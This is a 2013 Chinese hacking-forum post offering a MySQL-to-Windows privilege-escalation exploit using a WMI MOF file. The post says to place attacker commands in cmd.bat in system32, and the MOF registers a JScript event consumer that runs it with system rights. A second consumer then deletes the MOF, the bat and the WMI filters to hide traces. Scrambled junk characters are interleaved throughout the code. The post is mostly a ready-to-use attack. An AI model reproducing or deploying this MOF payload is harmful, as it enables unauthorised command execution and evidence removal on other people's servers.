找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2044|回复: 0
打印 上一主题 下一主题

Mysql 提权即时无错Mof exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:05:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个sql提权MOF需要运行 system下的文件,不能定义路径。
4 |# r8 ]' u- H  u8 m8 V需要将要运行的命令写入到bat上传到system32目录,然后执行。
' ?7 X# Z/ Z, V6 Z- q2 _  h! {4 }: Y0 S! G3 h
这个sql提权MOF需要运行 system下的文件,不能定义路径。% O6 j9 K+ w9 [" f5 x
需要将要运行的命令写入到bat上传到system32目录,然后执行。
! G. Y) _. Y4 M$ U; m! K  i4 @; C
#pragma
( _% z, }- `/ t3 y                        namespace("\\\\.\\root\\cimv2"); O$ ~8 f" E) ^. \8 l
                        class
" O! z3 _3 M% _4 W1 u( F( e6 W' C                        MyClass547
' `' c3 K4 O+ ~5 U, Z3 z                        {           [key]
, p9 X/ @8 Z; }5 Z8 p' T                        string
1 N+ n2 m/ R  h1 @4 A& L                        Name;' M' M$ C! \2 s
                        };
% H  }" f) S/ F9 ]+ H% q  P                        class+ f% p' o, ]( X9 [5 T- K9 p
                        ActiveScriptEventConsumer
0 [4 ^: \- Z( ]                        : __EventConsumer {          [key]; S$ ?" i# q3 u1 w. ?4 r% e' h
                        string
8 S& A) F/ n( B% t                        Name;           [not_null]
1 h( {1 e1 Q  f& }7 U- x  q) `6 T# N# x                        string  t% o4 ~/ C% X7 |7 l
                        ScriptingEngine;           string5 U4 I4 ]8 U) ?0 @: U2 i
                        ScriptFileName;           [template]
. B1 p3 C7 c, v- w                        string$ d& T; O2 g2 \! Q: ?" L
                        ScriptText;         uint32 KillTimeout;
3 O- B4 k8 @  w                        }; instance of __Win32Provider as $P {
3 e! H7 z6 g+ i  g7 N                        Name7 h; |$ Q9 Y" R0 @# f9 y. K
                        =
0 n$ @( Z1 `. z6 t* j1 [2 Q; A                        "ActiveScriptEventConsumer";     CLSID =
9 I: k. q: T& _$ x2 c5 @                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
0 Q% ]1 F( w  q/ r9 `% W' @( T% |                        PerUserInitialization
/ Q5 c6 |3 z* B" {% k                        = TRUE;
6 C. Q* `" b) o: }                        }; instance of __EventConsumerProviderRegistration {         Provider- Y: K( i0 e8 f% g  o
                        = $P;         ConsumerClassNames
# P$ e6 Y& J% |                        =5 a$ ^, |% p2 L9 M* Y7 w1 E
                        {"ActiveScriptEventConsumer"};
, l' q4 S7 H8 }8 j# x$ a                        };
1 w# {/ g7 H& T3 Y- f& G                        Instance of ActiveScriptEventConsumer% y- K& B3 ?# M2 @
                        as $cons {         Name
' W2 K' l! H! ?* A! J/ _$ @* g                        =: I; [6 G2 Y! F
                        "ASEC";         ScriptingEngine# p: C3 d' T" `4 w6 _1 Z
                        =
# c2 t7 l3 ^' \# f1 T                        "JScript";         ScriptText
) ?4 ]0 v  Q. e# L- [4 J* @                        =
8 |8 O8 k9 J- e2 a$ E2 `) |                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };, |4 d7 @; N- Q* l4 U+ w" T4 Q& d
                        Instance of ActiveScriptEventConsumer
% D1 F; H! i  ~: r                        as $cons2 {         Name3 f; \, X/ E, Q; |1 U' d, q& l
                        =5 w" V; G* M! N; n
                        "qndASEC";         ScriptingEngine
& s/ Y: a6 L1 G& v8 N8 z                        =
7 Y4 K% @. i* H9 P/ ^                        "JScript";         ScriptText
2 B, L7 l4 J0 `                        =
1 u. ]1 z) A; g" R1 O3 n7 a                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";* M. _+ C$ t. A  U: V* Q% j
                        }; instance of __EventFilter as $Filt {         Name6 h0 R6 N9 i0 z8 q7 u( @% \
                        =
$ c$ k! X6 Q0 X6 J) m                        "instfilt";         Query
& c* G7 b, B5 p/ x% R                        =
* E; c' Z% L9 U" G' S+ G) Y( A                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage4 n5 b, L% K. W" j" c9 E6 m4 u
                        =+ Z  W+ d1 A8 @( \) ^8 Y7 f# A3 |
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name$ f4 M) H4 Q1 ]9 E
                        =
) k2 _3 T% K& C                        "qndfilt";         Query  s, w& m8 I8 k
                        =6 g. [1 N, m. J
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage6 h5 r% J) N7 w1 U  j
                        =
2 {3 K9 Q  Q! M) Y$ K: ^                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer! y- _& r% C: @9 ?7 j' L
                        = $cons;         Filter$ i! y& F0 @% Y
                        = $Filt;
: \8 S/ }7 G8 E5 Y1 U% a* B: N                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
! m3 f2 F9 _; v" @6 K                        = $cons2;         Filter
0 R$ @. f7 v$ w5 D* G                        = $Filt2;+ D4 p, s. ?2 i+ B5 p- p
                        }; instance of MyClass5479 G, G5 d  @) N2 m  q$ I
                        as $MyClass {         Name
5 E- [- j$ n, ~6 }, s; ~* }8 {                        =, ]. m  |4 E6 q" J7 M0 V
                        "ClassConsumer";0 M9 {( ?# }+ \/ ?$ s8 k
                        };
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表